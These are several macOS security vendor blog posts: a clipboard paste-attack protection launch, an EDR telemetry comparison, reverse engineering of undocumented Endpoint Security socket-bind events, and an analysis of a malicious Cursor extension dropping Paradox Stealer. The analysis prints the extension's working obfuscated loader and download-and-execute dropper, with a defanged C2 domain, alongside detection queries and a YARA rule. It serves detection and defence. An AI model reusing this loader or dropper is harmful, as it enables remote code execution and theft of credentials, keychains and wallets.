These ‘pastejacking’ attacks are alarmingly effective. Unlike other vectors like backdoored software, they sidestep Gatekeeper and Notarization, and typically utilise native, code-signed Apple binaries to achieve infection.

Be it wrapped in the lure of some required update, a helpful script to fix a common problem, or a “one-liner” installer for popular software, the attack surface is vast.

Acknowledging the problem

In macOS Tahoe (26.4), Apple introduced two complementary defences against paste attacks.

Documented by Ferdous Saljooki, the first is a warning built into Terminal that presents a Possible malware; paste blocked prompt when content is pasted from a browser. As Saljooki’s analysis shows, the warning fires only when multiple conditions are all met, including that the user is not a developer and hasn’t opened Terminal in the last 30 days. This makes it an effective safeguard for general users, but by design it won’t trigger for developer and IT users that regularly use Terminal.

The second layer runs inside the XProtect daemon. Subscribing to undocumented Endpoint Security Framework event types (as detailed by Patrick Wardle), it scans pasted content (exclusively from its own list of browsers) and checks any domains found against Safari’s Safe Browsing Service in real time - blocking the paste with a Malware Detected, Paste Blocked prompt. A more substantive defence that operates regardless of user profile, though limited to domains already present in Apple’s blocklist.

On the open-source front, tools like Patrick’s BlockBlock provide heuristics-based blocking of content pasted into terminal applications.

These are welcome steps in the right direction.

For security teams managing enterprise fleets, though, there are areas where additional coverage and customisation can complement these protections - content-level heuristics that don’t depend on closed domain intelligence, coverage across paste sources and vectors, centralized telemetry, and policy-driven configurability.

Today we’re releasing Clipboard Protection in beta - a new capability in the Phorion agent that detects and blocks ClickFix-style paste attacks in real time.

A unique endpoint perspective

Phorion’s position on the endpoint provides a unique vantage point to build a high-fidelity, highly-configurable, clipboard monitor. At the system level, our agent can observe what no single application can:

• Where the content came from: we track which application placed content on the clipboard, so we know whether it originated from a browser, a chat application, or an internal tool
• Where the content is going: we detect when a paste lands in a terminal emulator; the typical destination for these ClickFix attacks
• What the paste contains - we evaluate the clipboard content against configurable heuristics, only logging and taking action where suspicious patterns are detected
• How the paste happened: whether via keyboard shortcut (⌘+V), right-click or toolbar menus, or even a drag-and-drop, we cover every paste vector

With this full context, we’re not guessing whether a browser-initiated copy ends up in a terminal, or where a terminal paste originally came from.

Protect users, don’t block productivity

Not every paste from a browser to a terminal is malicious. Developers paste legitimate commands from documentation dozens of times a day. For some, blanket blocking would grind work to a halt.

That’s why Clipboard Protection supports three blocking modes, so you can match the level of protection to your organisation’s risk appetite:

Any of these modes can be paired with an interactive prompt. Instead of silently blocking a paste, Phorion presents the user with exactly what’s about to be pasted and where it came from. The user can choose to allow the paste and continue, or cancel it.

A “Remember” option, inspired by Patrick’s BlockBlock implementation (mahalo!), lets them approve a paste and suppress further prompts for that terminal session, keeping friction to a minimum for known-good workflows. If the prompt goes unanswered, it times out and blocks automatically.

Every decision (whether the paste was blocked silently, blocked by timeout, or explicitly allowed by the user) is logged and available to security teams. This means that even when a user approves a paste, there’s a full audit trail of what was pasted, from where, and in what scenario.

Adapt to Your Environment

Transparency is a core tenet of how we build at Phorion. This isn’t a blackbox of signatures and hardcoded browsers and terminal apps. Every organisation is different, and Clipboard Protection is designed to reflect that.

Phorion gives you full control over what’s monitored, what’s blocked, and what’s excluded.

Define the sources. Choose which applications are treated as monitored sources. Browsers are the default (Chrome, Safari, Firefox, Arc, and others), but you can add Slack, Teams, Discord, or any other application that might be used to deliver a ClickFix lure.

Define the destinations. Choose which applications are protected as paste targets. All major terminal emulators are covered by default (Terminal, iTerm, Warp, Ghostty and others), and you can customise the list as needed.

Define what’s suspicious. In Smart mode, configure the heuristics that determine when a paste is dangerous. Out of the box, it catches the patterns most commonly associated with ClickFix attacks, but you can add your own patterns or adjust thresholds to match your environment.

Exclude what you trust. Build exclusions for known-safe content. If your team routinely pastes deployment commands from an internal wiki, or you’re regularly installing dev tools with one-liner installs, exclude those by domain or by content pattern, so your users aren’t interrupted for legitimate work.

Handle clipboard managers gracefully. Tools like Raycast, Alfred, and Maccy are staples of the macOS workflow. When a user pastes something from a clipboard manager’s history, Phorion still traces the content back to its original source. If it was copied from a suspicious website and later replayed via Raycast, we evaluate it accordingly: no gaps, no disruption to the user’s workflow.

A Note on Privacy

Any feature that observes clipboard content carries an inherent responsibility. A clipboard monitor that isn’t carefully designed could in itself become a security concern, whether through misconfiguration by an overzealous admin, or simply through accidental data exposure. We’ve built several safeguards directly into the agent to prevent this.

Privacy blocklist. The Phorion agent ships with a built-in blocklist of privacy-sensitive applications: password managers like 1Password, Bitwarden, Apple’s own Passwords app, and others. This applies to both to the source and destination of the paste event and ensures that these applications are never monitored.

Secret Redaction. Clipboard content pasted into terminals can contain API keys, tokens, and credentials. The same secret-scrubbing regex engine that redacts sensitive values from Phorion’s process telemetry is applied to clipboard snippets before they leave the device.

Configurable snippet length. Administrators can control the length of the clipboard content snippet included in telemetry via the length setting, from a generous window for deeper analysis right down to zero, which disables content capture entirely. Phorion still hashes the clipboard content, allowing security teams to correlate common attack payloads across their fleet without ever seeing the raw text.

Interested in trying it out? Clipboard Protection is available in beta now for all Phorion users. Get in touch to arrange a demo.

The EDR Telemetry Project is an open source, community-driven project designed to evaluate detection and response telemetry across industry vendors. In March 2026, the project released its first ever macOS vendor evaluation, and the results were underwhelming for most vendors, except Phorion.

High telemetry scores are only meaningful if they translate into real detection capability. The rest of this post walks through a few specific areas where Phorion’s visibility enables detections that most competing products simply cannot offer.

Visibility that matters

Phorion’s telemetry is shaped by our own detection engineering. Where additional data improves coverage of real-world Tactics, Techniques, and Procedures (TTPs), we build it in. The result is an agent equipped with the telemetry required for reliable, out-of-the-box detection and response. Crucially, the telemetry sources we ingest are always growing, as you can see from some of our recent research where we continuously track new events Apple makes available.

Below are just a few examples of where Phorion’s extensive visibility can give you the edge.

File Access Events

File access telemetry is one of the noisiest event categories an EDR can collect, which is exactly why most vendors avoid it entirely. Some offer a middle ground, allowing teams to monitor specific file paths, which can be useful when you know exactly what you’re looking for. But during an incident, what if you didn’t think about or know about a critical file? Was it accessed, or are you left guessing?

Phorion collects file access events across the board. This means that when an infostealer touches ~/Library/Keychains, when a malicious VS Code extension reads SSH keys from ~/.ssh/, or when an attacker accesses browser cookie stores, the telemetry is already there. Beyond detection, Phorion’s cookie theft protections actively block non-browser processes from accessing sensitive browser file paths and terminate offending processes the moment they touch protected locations. With the prevalence of infostealers on macOS, file access telemetry is one of the most critical gaps in the majority of EDRs on the market.

TCC Service Usage

Transparency, Consent, and Control (TCC) governs access to some of the most sensitive capabilities on macOS: screen recording, accessibility, input monitoring, camera and microphone usage. When a process requests or is granted one of these permissions, it represents a significant change in what that process can do. Of the vendors evaluated, only one competitor collects any TCC telemetry at all, and even then only for permission modifications. Phorion collects every instance in which a TCC-protected service is used.

Phorion’s extensive visibility into TCC events, built on the same research behind Kronos, enables detection of highly sensitive permission grants. If a previously unknown binary gains accessibility access (a common prerequisite for keylogging) or screen recording permission (used by surveillance tooling), that event is captured and available for detection logic. Without TCC telemetry, these permission changes happen silently.

File Attribute Changes

File attribute changes represent a category where the gap between Phorion and the rest of the field is particularly wide. No other evaluated vendor fully supports these events.

This matters because, as an industry, we have observed threat actors in the wild manipulating file attributes for defence evasion. As a result, this seemingly nondescript event type proved valuable for identifying malicious behaviour across environments. Ingesting these events proactively - before specific TTPs are publicly associated with them - means the data is already available when a new technique surfaces, rather than wishing you had it after the fact.

An example of how we can use extended attribute events for specific detection cases:

event_type:SetExtAttr AND 
source_signing_id:com.apple.osacompile AND 
extattr:com.apple.ResourceFork

Resource fork abuse via osacompile. Attackers use osacompile to hide compiled AppleScript inside a file’s resource fork by writing to the com.apple.ResourceFork extended attribute. This is a macOS-specific evasion technique that bypasses conventional content inspection: the malicious payload lives in the resource fork rather than the data fork. Without SetExtAttr events, this technique is invisible to endpoint telemetry.

Dispelling the myth of performance

One of the most common justifications for limited telemetry is performance. The argument is that collecting more events introduces unacceptable CPU and memory overhead, so vendors aggressively trim what they capture to keep their footprint low.

Phorion takes a different approach. Our agent is built natively for macOS, with deep integration into the platform. That investment enables us to collect and process event data others leave behind, without degrading the experience for end users.

Performance isn’t a reason to create critical blind spots; it’s an engineering problem. And it’s one that Phorion continuously stays on top of by design.

You don’t have to take our word for it. Phorion includes built-in performance visibility, so you can see exactly what the agent is doing on every endpoint:

Telemetry is the foundation of detection and response. The EDR Telemetry Project’s first macOS evaluation confirmed what we already knew: most vendors are leaving critical data on the floor. Phorion collects it, uses it to detect real threats, and does so without compromising the endpoints it protects.

Interested in seeing what this visibility looks like in practice? Get in touch to arrange a demo.

Background

Each macOS release brings new Endpoint Security Framework (ESF) events that extend the capabilities of security tools. With macOS 26.4, Apple added seven new events, but for the first time, they arrived completely undocumented. They show up in ESTypes.h labeled only as ES_EVENT_TYPE_RESERVED_0 through _6:

// The following events are available beginning in macOS 26.3

ES_EVENT_TYPE_RESERVED_0, // Unable to subscribe
ES_EVENT_TYPE_RESERVED_1, // Unable to subscribe
ES_EVENT_TYPE_RESERVED_2, // Unable to subscribe

// The following events are available beginning in macOS 26.4.0
ES_EVENT_TYPE_RESERVED_3, 
ES_EVENT_TYPE_RESERVED_4, 
ES_EVENT_TYPE_RESERVED_5, // Covered by Patrick's blog
ES_EVENT_TYPE_RESERVED_6, // Covered by Patrick's blog

Subscribing to RESERVED_3 and RESERVED_4 confirmed they follow the established ESF pattern: RESERVED_3 fires as an AUTH event (requiring a response), while RESERVED_4 fires as the corresponding NOTIFY event. Initial observation showed these events triggering when processes opened listening sockets, suggesting they hook into the bind() syscall. The challenge was reconstructing the undocumented event struct to extract useful data.

Exploring the Event Structure

Test Harness

To generate controlled events with known values, a simple Python one-liner serves as a test harness:

import socket;s=socket.socket();s.bind(('192.168.1.101',0x1234));s.listen();print('listening');s.accept()

This binds to IP 192.168.1.101 (hex: c0 a8 01 65) on port 0x1234 (hex: 34 12 in little-endian). With known values to look for, identifying fields in the raw event data becomes much easier.

Following the Pointers

Dumping the raw bytes of msg->event shows an 8-byte value that looks like a pointer, followed by zeros:

msg->event:
0000: 80 a3 e5 04 01 00 00 00  00 00 00 00 00 00 00 00  |................|
0010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

That first value (0x0104e5a380) is a pointer to an inner struct. Following it reveals another pointer at the start, then more data:

inner struct @ 0x0104e5a380:
0000: 98 a3 e5 04 01 00 00 00  01 00 00 00 00 00 00 00  |................|
0010: 06 00 00 00 00 00 00 00  02 00 00 00 c0 a8 01 65  |...............e|
0020: 00 00 00 00 00 00 00 00  00 00 00 00 34 12 00 00  |............4...|

The two pointers are pretty close to each other. The inner struct is at 0x0104e5a380, and the pointer it contains is 0x0104e5a398. That’s 0x18 (24 bytes) ahead. We can diagram the layout as follows:

inner struct layout:
+0x00: points to +0x18
+0x08: [unknown 16 bytes]
+0x18: <-- ptr points here

Following that pointer at +0x00: the value 0x0104e5a398, to +0x18. We get a couple of familiar patterns.

*inner->ptr @ 0x0104e5a398:
0000: 02 00 00 00 c0 a8 01 65  00 00 00 00 00 00 00 00  |.......e........|
0010: 00 00 00 00 34 12 00 00  00 00 00 00 00 00 00 00  |....4...........|

There’s the bind address from the test harness. At +0x04 we see c0 a8 01 65 (192.168.1.101), and at +0x14 we see 34 12 (port 0x1234 in little-endian). The first four bytes 02 00 00 00 we interpret as AF_INET (address family 2).

The Address Structure

To confirm this analysis, testing with IPv6 validates the address family field:

python3 -c "import socket;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.bind(('::1',4660));s.listen();input('bound');s.close()"

With IPv6, the address family bytes change to 1e 00 00 00 (0x1e = 30 = AF_INET6).

The Unknown 16 Bytes

Going back to the 16 bytes between the initial pointer and the address struct (offsets +0x08 through +0x17), these likely contain socket metadata. Running different socket configurations and comparing the results reveals a pattern:

The values at +0x10 stand out: 6 for TCP and 17 for UDP. These match the IANA protocol numbers from RFC 1700:

#define IPPROTO_TCP             6               /* tcp */
#define IPPROTO_UDP             17              /* udp */

The field at +0x0C appears to indicate socket type (0 for SOCK_STREAM, 1 for SOCK_DGRAM).

To understand the remaining fields, further testing explored edge cases. Setting various socket options like SO_REUSEADDR and SO_REUSEPORT before binding had no effect on any of these values. Binding to different interfaces (loopback versus all interfaces) also produced no change in the metadata fields.

Raw sockets do not trigger the event at all. Unix domain sockets also do not generate these events, which makes sense given ESF already has ES_EVENT_TYPE_NOTIFY_UIPC_BIND for that purpose.

Across all tests, the fields at +0x08 and +0x14 remained constant at 1 and 0 respectively. Without additional test cases that cause these values to change, their exact meaning remains unclear.

Reconstructed Structure

Putting it all together with the information we have:

typedef struct {
    uint32_t family;     // +0x00: AF_INET (2), AF_INET6 (30)
    uint8_t  addr[16];   // +0x04: IPv4 in first 4 bytes; IPv6 uses all 16
    uint32_t port;       // +0x14: port in host byte order
} es_socket_bind_addr_t;

#define ES_SOCK_TYPE_STREAM 0
#define ES_SOCK_TYPE_DGRAM  1

typedef struct {
    es_socket_bind_addr_t *addr; // +0x00: pointer to address
    uint32_t unknown_08;         // +0x08: always 1
    uint32_t socket_type;        // +0x0C: STREAM(0) or DGRAM(1)
    uint32_t protocol;           // +0x10: IPPROTO_TCP(6), IPPROTO_UDP(17)
    uint32_t unknown_14;         // +0x14: always 0
} es_socket_bind_inner_t;

typedef struct {
    es_socket_bind_inner_t *inner; // +0x00
} es_event_socket_bind_t;

Conclusion

Apple’s undocumented ES_EVENT_TYPE_RESERVED_3 and _4 events provide socket bind AUTH and NOTIFY capabilities respectively. By reverse engineering the event struct, these events expose:

• Address family (IPv4/IPv6)
• Bound IP address
• Port number
• Socket type and protocol

…and perhaps a little bit more we don’t quite understand yet. Combined with the network connection events Patrick documented, macOS 26.4 delivers substantial new network visibility through ESF. While these events remain undocumented and could change in future releases, they represent a meaningful expansion of what’s possible for macOS security tools, without the complexity of Network Extensions.

We look forward to Apple formally documenting these events and providing stable struct definitions in a future SDK release. New events means new detection opportunities, and we’re excited to further explore how to leverage this enhanced visibility.

This thriving ecosystem of third party extensions has created an opening for threat actors. Extensions often inherit broad permissions that allow code execution and file access, making them attractive points of initial access. The combination of developer trust, extension convenience and supply chain adjacency continues to produce high value opportunities for malicious actors across macOS environments.

Secure Annex’s reporting on SleepyDuck in early November highlighted this trend, documenting a similar extension to that in this blog. These malicious extensions have now shifted to an infostealer payload, which reinforces how adaptable the technique is. The lure remains effective because it leans on a familiar trust signal. The extension climbed to the top of the store by download count, which is (understandably) a common metric developers use to judge whether a plugin is safe.

This blog examines a real-world infection chain that originated from a malicious Cursor extension. We detail how the attack progressed, how Phorion caught and prevented the attack, and the lessons defenders can apply to similar threats.

Infection Chain

Ether Solidity Extension

The infection starts with developers searching the Open VSX registry for Solidity support. The Ether Solidity extension (ether.solidity) is presented as the top result, with more than 117k downloads since 24 November - an almost certainly artificially-inflated figure.

Both the specific extension and publisher have now been removed from Open VSX.

Stage 1

After installation, the extension executes JavaScript hidden inside a file posing as webpack.js. That file exposes the core functionality of the extension:

• Collect basic information about the host, such as hostname, username and MAC address.
• Make a POST request with this data to an external site.
• Execute the returned 2nd stage JavaScript code.

function init () {
    var burger_strawberry = require('https');
    var soda = require('vm');
    var vanilla_fruit = require('fs');
    var melon = require('os');
    var apple_apple = require('path');
    var candy = require('crypto');
    const apple = (Object + '').split(' ')[0] + "." + (undefined) + (23 - 2) + ".com";

    function berry_burger () {
        const ifaces = melon.networkInterfaces();
        for (const name of Object.keys(ifaces)) {
            for (const iface of ifaces[name]) {
                if (!iface.internal && iface.mac !== '00:00:00:00:00:00') {
                    return iface.mac;
                }
            }
        }
        return 'unknown';
    }

    function burger_garlic () {
        const data = melon.hostname() + berry_burger() + melon.platform();
        return candy.createHash('sha256').update(data).digest('hex').substring(0, 16);
    }

    const wheat_pasta = {
        hostname: melon.hostname(),
        username: melon.userInfo().username,
        platform: melon.platform(),
        macAddress: berry_burger(),
        machineId: burger_garlic()
    };

    function pizza () {
        const options = {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            }
        };

        const req = burger_strawberry.request("https://" + apple + '/p', options, (res) => {
            let pasta_water = '';
            res.on('data', (strawberry_onion) => pasta_water += strawberry_onion);
            res.on('end', () => {
                try {
                    const barley = soda.createContext({
                        console,
                        require,
                        process,
                        Buffer,
                        burger_strawberry,
                        apple,
                        vanilla_fruit,
                        melon,
                        apple_apple
                    });
                    soda.runInContext(pasta_water, barley);
                } catch (e) {}
            });
        });

        req.write(JSON.stringify(wheat_pasta));
        req.end();
    }
    pizza();

}

module.exports = init;

Following a consistent culinary theme, the constant apple is being used to obfuscate the domain name used for future communication - function[.]undefined21[.]com.

const apple = (Object + '').split(' ')[0] + "." + (undefined) + (23 - 2) + ".com";

The code combines the hostname, MAC address and platform, then hashes them to generate a machine ID, likely enabling the actor to track unique infections across the campaign. This data is then sent to the C2 domain.

Finally, the response from the web request is used with the vm.runInContext() method to compile and run the subsequent stage.

Stage 2

Fetching the contents of the JavaScript response reveals the second stage payload dropper code that makes no attempt to hide its intentions.

It retrieves data from the /sss endpoint of the original domain, writes it to a file named xoxoxoxxx in a temporary directory, and uses a series of nested callbacks that execute operating system commands to mark the file as executable and strip the quarantine attribute, before executing it. The fs.unlink() function is the final step, removing the file from disk.

var fs = require('fs');
var os = require('os');
var https = require('https');
var path = require('path');
var { exec } = require('child_process');
function downloadAndRun() {
    var url = 'https://function[.]undefined21[.]com/sss';
    var filename = 'xoxoxoxxx';
    var filePath = path.join(os.tmpdir(), filename);
    https
        .get(url, res => {
            if (res.statusCode !== 200) {
                res.resume();
                return;
            }
            var fileStream = fs.createWriteStream(filePath);
            res.pipe(fileStream);
            fileStream.on('finish', () => {
                fileStream.close();
                exec(`chmod +x "${filePath}"`, () => {
                    exec(`xattr -d com.apple.quarantine "${filePath}"`, () => {
                        exec(`"${filePath}"`, () => {
                            fs.unlink(filePath, () => {});
                        });
                    });
                });
            });
        })
        .on('error', () => {});
}
downloadAndRun();

Stage 3 - Paradox Stealer

The dropped executable xoxoxoxxx contains a Golang-based macOS infostealer. Indicators strongly suggest that the codebase is heavily shared (if not identical) to an open-source GitHub project called paradox (https://github.com/githubesson/paradox), which this blog refers to as Paradox Stealer.

The Paradox Stealer repository offers tooling that collects browser data, chat application records, keychain items and cryptowallets. It also includes a management application and supporting server components.

The project frames itself as research, which aligns with its use of familiar macOS infostealer techniques found in families such as AMOS, Poseidon and Banshee. It is, however, currently being deployed in active campaigns tied to the wider attack discussed in this article.

Paradox Stealer initialises by preparing the initial directory structure that is used to stage collected data. It then follows with typical Infostealer system reconnaissance tasks.

1. System Profiler: Executes the shell command, system_profiler SPSoftwareDataType SPHardwareDataType
2. Public IP: Uses Golang’s HTTP client to make a request to https://freeipapi.com/api/json/ and https://api.ipify.org/?format=json in order to determine public IP and approximate geographic location.
3. User Password Prompt via AppleScript: Uses osascript to display a credential prompt. The entered password is validated with dscl /Local/Default -authonly <username> <password>.

With initial reconnaissance captured, the stealer checks for ~/Library/Keychains. If the directory exists, it copies it into its staging location. The user’s keychain on macOS is protected with the local account password that was harvested during the initial system information collection phase.

It then enumerates installed browsers and identifies active profiles. From there, it searches for credential stores and other sensitive files such as cookies, saved login data and browsing history. Paradox Stealer supports most common Chromium and Gecko based browsers, although it does not target Safari. The absence of Safari support is likely due to the higher barrier to accessing Safari data given its tighter integration with TCC.

It also examines extension directories and compares them against a predefined list of cryptocurrency wallet extensions.

The stealer checks for Telegram and Discord next. If either application is installed, it extracts the stored chat data. It follows the same pattern for cryptocurrency wallet applications, such as Exodus or Electrum, by collecting their on-disk data stores.

All extracted data is finally compressed into output.zip with Golang’s archive/zip package. This archive is then exfiltrated to the same domain used throughout the attack, https://function[.]undefined21[.]com/upload, using Golang’s native HTTP client.

Detection Opportunities

Malicious Extension Load (ESF Visibility)

In this campaign, the earliest point of visibility comes from the moment the IDE loads the malicious extension. Apple’s Endpoint Security Framework (ESF) exposes file-open events (ES_EVENT_TYPE_NOTIFY_OPEN) that clearly show the IDE accessing the specific compromised package from this attack. For Cursor, the extension is loaded from:

source_binary_path:/Applications/Cursor.app/Contents/MacOS/Cursor
source_signing_id:com.todesktop.230313mzl4w4u92
filepath:/Users/alfie/.cursor/extensions/ether.solidity-0.0.191-universal/package.json

Suspicious Behaviour Originating From the IDE

Once loaded, the compromised extension initiates a predictable chain of actions that are uncommon for legitimate IDE behaviour. Using ESF process exec telemetry (ES_EVENT_TYPE_NOTIFY_EXEC), helper processes can be seen writing the Paradox Stealer binary to a temporary directory, modifying its attributes, and executing it.

The second stage script leverages Node.js child_process.exec() to spawn bash, which then executes commands such as chmod and xattr:

parent_binary_path: /Applications/Cursor.app/Contents/Frameworks/Cursor Helper (Plugin).app/Contents/MacOS/Cursor Helper (Plugin)
parent_signing_id: com.github.Electron.helper

source_binary_path: /bin/bash
source_signing_id: com.apple.bash

binary_path: /bin/chmod
signing_id: com.apple.chmod
process_args: chmod +x xoxoxoxxx

The final payload is written and launched from a transient path under /private/var/folders, a location that legitimate IDE helpers rarely execute arbitrary, unsigned content from. Execution originating from this directory by an IDE-associated helper represents a strong behavioural detection opportunity.

Paradox Stealer

If the payload executes successfully, the following signals form typical points of detection for infostealer behaviour, including Paradox Stealer.

• osascript prompting for user credentials
• Unexpected dscl -authonly authentication attempts
• Direct interaction with the keychain by unsigned or untrusted binaries

Once running, Paradox targets high-value browser and wallet data. Unusual access to browser cookie stores, cryptocurrency-related extensions, or credential repositories provides high-confidence signals that the malware has entered its data-theft stage.

Further analysis of the Paradox Stealer codebase shows a modular design with folders dedicated to discovery, extraction and related functions. Based on the exposed function names, Phorion developed the following YARA rule that can be used to detect the payload.

rule MAL_Paradox_Stealer_Nov25 {
    meta:
        description = "Compiled Go binary for Paradox Stealer"
        author = "Phorion"
        date = "2025-11-26"
        score = 70
    strings:
        $n = "paradox_payload" ascii wide
        $f1 = "CheckBrowserDirectories" ascii wide
        $f2 = "CheckCryptoDirectories" ascii wide
        $f3 = "CheckKeychainDirectories" ascii wide
        $f4 = "CheckCommunicationAppDirectories" ascii wide
        $f5 = "ExtractBrowserData" ascii wide
        $f6 = "getMacOSPasswordViaAppleScript" ascii wide
        $f7 = "GetIPInfo" ascii wide

    condition:
        filesize < 10MB and
        (uint32(0) == 0xfeedface or    // the mach magic number
         uint32(0) == 0xcefaedfe or    // NXSwapInt(MH_MAGIC)
         uint32(0) == 0xfeedfacf or    // the 64-bit mach magic number
         uint32(0) == 0xcffaedfe or    // NXSwapInt(MH_MAGIC_64)
         (
            uint32(0) == 0xcafebabe and    // Mach-O FAT binaries
            uint16(4) < 0x30               // Avoid Java classes
         )) and
        all of them
}

Phorion’s Approach

Phorion’s macOS-native EDR detected and prevented the Paradox Stealer payload before it could execute. This matters in the context of infostealers because detection alone is rarely enough to protect sensitive data. Once a process reaches browser storage or keychain paths, the window to prevent theft is small.

If an infostealer does execute, Phorion’s cookie theft protections provide an additional layer of defence. These controls block non-browser processes from accessing sensitive browser file paths and terminate offending processes the moment they touch protected locations. The design interrupts infostealers early in their workflow and significantly reduces the chance of data leaving the device using a behavioural methodology.

Effective investigation also depends on visibility. Phorion collects extension metadata from IDEs such as Cursor and VSCode, enabling rapid identification of hosts running malicious or backdoored packages. This shortens the investigation cycle and simplifies response during active incidents.

Interested in how Phorion defends macOS endpoints against threats like Paradox Stealer? Get in touch to arrange a demo.

Indicators